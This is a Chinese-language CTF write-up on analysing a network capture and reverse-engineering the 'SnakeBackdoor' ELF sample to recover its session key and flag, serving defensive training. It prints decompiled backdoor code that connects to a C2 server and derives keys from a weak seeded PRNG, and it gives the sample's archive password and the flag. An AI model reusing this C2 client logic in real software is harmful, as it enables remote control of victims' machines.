当前位置: 首页 > news >正文

流量分析_SnakeBackdoor-5

SnakeBackdoor-5

根据题目5的要求分析,这题涉及流量文件提取二进制逆向分析

基于之前的分析,我们已经知道攻击者下载了一个名为 shell.zip 的压缩包,并解压出了一个 ELF 二进制文件(在题目4中被重命名为 python3.13)

所以我们需要先将流量中的shell.zip文件提取出来,然后使用IDA进行逆向分析,定位网络通信函数,找到加密密钥,解题思路如下:

解题思路: 1、提取样本:从 Wireshark 流量中将 shell.zip 提取出来。 2、解压样本:使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。 3、逆向分析:使用 IDA Pro 或 Ghidra 打开 ELF 文件,定位网络通信函数,找出硬编码的加密密钥。 4、格式转换:将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。

1、提取木马本题文件

由题目4的分析结果知道,木马本题文件为shell.zip,并且使用密码nf2jd092jd01进行了加密

在 Wireshark 过滤器栏输入:http contains "shell.zip"(或者更精准地: http.request.uri contains "shell.zip")

点击菜单栏的 File (文件) => Export Objects (导出对象) => HTTP

在弹出的列表中,在文本过滤器中搜做".zip",找到文件名为 shell.zip 的那一行(Content-Type 通常为 application/zip),保存即可

2、解密压缩包

打开shell.zip压缩包,是经过加密的,输入题目4中得出的密码nf2jd092jd01,得到里面的木马本体二进制文件

3、逆向分析加密密钥

将shell二进制文件拖进IDA中

我们需要定位到网络通信函数,先找C2 服务器通信,密钥通常硬编码在数据段中

选择import窗口,找到inet_addr,双击定位到函数,选中函数,然后按下X键

双击.got.plt,选中地址或者函数,再次按X,弹窗之后再双击_inet_addr

选中_inet_addr,一样的操作,得到main函数的流程图视图

F5反编译得到伪代码

分析代码,是一个Linux C 语言编写的后门客户端
它的核心功能是:主动连接攻击者的服务器,通过某种协商机制生成加密密钥,然后循环接收攻击者的加密指令,执行后将结果加密回传

首先网络连接初始化,负责建立与 C2 服务器的 TCP 连接,IP: "192.168.1.201" 目标端口: 0xE59E(十进制为58782)

fd = socket(2, 1, 0); // 1. 创建套接字 (AF_INET=2, SOCK_STREAM=1) if ( fd < 0 ) exit(1); // 创建失败则退出 memset(&s, 48, 0x10uLL); // 初始化 sockaddr 结构体 s = 2; // 地址族 AF_INET v15 = inet_addr("192.168.1.201"); // 2. 目标 IP 地址 v14 = htons(0xE59Eu); // 3. 目标端口 // 4. 发起连接 if ( connect(fd, (const struct sockaddr *)&s, 0x10u) < 0 ) { close(fd); exit(1); }

连接成功后,进行密钥协商与生成,木马没有直接发送数据,而是进行了一次“握手”来生成加密通信所需的密钥

这是一个基于 “种子同步” 的弱加密方案,使用4字节的随机数种子,生成16字节的密钥

// 1. 接收 4 字节数据 (Seed) if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) ... // 2. 字节序转换 (Big-Endian 转 Little-Endian) seed = (*(_DWORD *)&v7 >> 8) & 0xFF00 | ... ; // 3. 设置随机数种子 srand(seed); // 4. 生成 16 字节密钥 for ( i = 0; i <= 3; ++i ) *(_DWORD *)&v8[4 * i] = rand(); // v8 就是最终的 Session Key // 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion) sub_13B4(&v10, v8, 0LL); // 初始化解密上下文 v10 sub_13B4(&v9, v8, 1LL); // 初始化加密上下文 v9

所以我们需要找到连接初期这 4 个字节的随机种子,然后在本地写代码模拟 srand 和 rand,从而计算出当次会话的所有加密密钥。

返回流量包,过滤出前面找到的IP和端口,在找出长度为4字节的数据包

ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

查看数据包中的数据内容

第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子

后面数据包中的数据Data: 00000010、Data: 00000030等等,正好是 AES/RC4 等加密算法的常见块大小,或者是填充后的指令长度

4、编写脚本模拟计算出密钥

编写脚本

#include <stdio.h> #include <stdlib.h> #include <stdint.h> int main() { // 1. 设置你在 Wireshark 里找到的种子 // 数据包里的 hex 是 34 95 20 46,对应整数 0x34952046 unsigned int seed = 0x34952046; printf("[*] Seed: 0x%X\n", seed); // 2. 初始化随机数生成器 (模拟木马逻辑) srand(seed); printf("[+] Flag: flag{"); // 3. 生成 16 字节密钥 (4次 rand) for(int i = 0; i < 4; i++) { int r = rand(); // 模拟 Python 的 struct.pack("<I", r) -> 小端序输出 unsigned char *p = (unsigned char *)&r; printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]); } printf("}\n"); return 0; }

可以使用在线C语言编译器:https://www.onlinegdb.com/online_c_compiler

最终得到flag{ac46fb610b313b4f32fc642d8834b456}

http://www.jsqmd.com/news/194869/

相关文章:

  • 2026最新!盘点5款免费论文降AIGC神器,降AI干活一篇搞定
  • Windows右键菜单终极优化指南:3步快速清理杂乱菜单项
  • 深度学习计算机毕设之基于机器学习Spatial Dropout-GRU和TextCNN的中文影评情感分析
  • 实用指南:【MySQL进阶】索引
  • 论文写作必备:高效免费降AI率工具分享,一键拯救“AI味”
  • 72小时闲鱼自动化革命:从手动操作到智能运营的蜕变之路
  • SciPy 模块列表
  • WorkshopDL完整使用指南:轻松获取Steam创意工坊模组
  • AI原生应用推理能力:分布式训练与推理实践
  • 手把手教你降AIGC:利用这些免费工具,轻松把AI率降到10%以下
  • Science | 本周最新文献速递
  • 【毕业设计】机器学习基于Spatial Dropout-GRU和TextCNN的中文影评情感分析
  • LAV Filters完全攻略:解锁Windows高清视频播放新境界
  • 测试文章标题0111
  • Python 开发者必看!PyCharm 2024 下载安装激活教程全流程详细步骤(安装包获取 + 含激活 + 中文设置)
  • 基于python的主观题自动阅卷系统(源码+文档)
  • 【课程设计/毕业设计】人工智能基于Spatial Dropout-GRU和TextCNN的中文影评情感分析
  • 免费降AI率真的靠谱吗?实测多款工具,教你如何安全降低AIGC
  • 李一舟人工智能 2.0 视频分享:解锁 AI 时代核心竞争力
  • Translumo屏幕翻译工具:零基础快速上手指南
  • 16 gitlab - 详解
  • 论文AI率太高怎么办?亲测5款免费降AIGC工具,拯救毕业论文!
  • Steam创意工坊模组下载终极指南:WorkshopDL零基础快速上手
  • 2026最新地暖安装公司top5推荐榜:服务于四川贵州云南重庆等地优质厂家及服务商解析/选择指南 - 全局中转站
  • 基于python的语音和背景音乐分离算法及系统(源码+文档)
  • ISIF Cloud HKG-B/HKG-C解锁(NSP)
  • Deep Research深度研究智能体:从RAG到自主科研,大模型学习必读指南
  • 生产级短信验证码登录系统设计:从安全对抗到工程落地
  • leetcode 848. Shifting Letters 字母移位-耗时100%
  • 华为OD机考双机位C卷 - 寻找密码(Java Python JS C/C++ GO )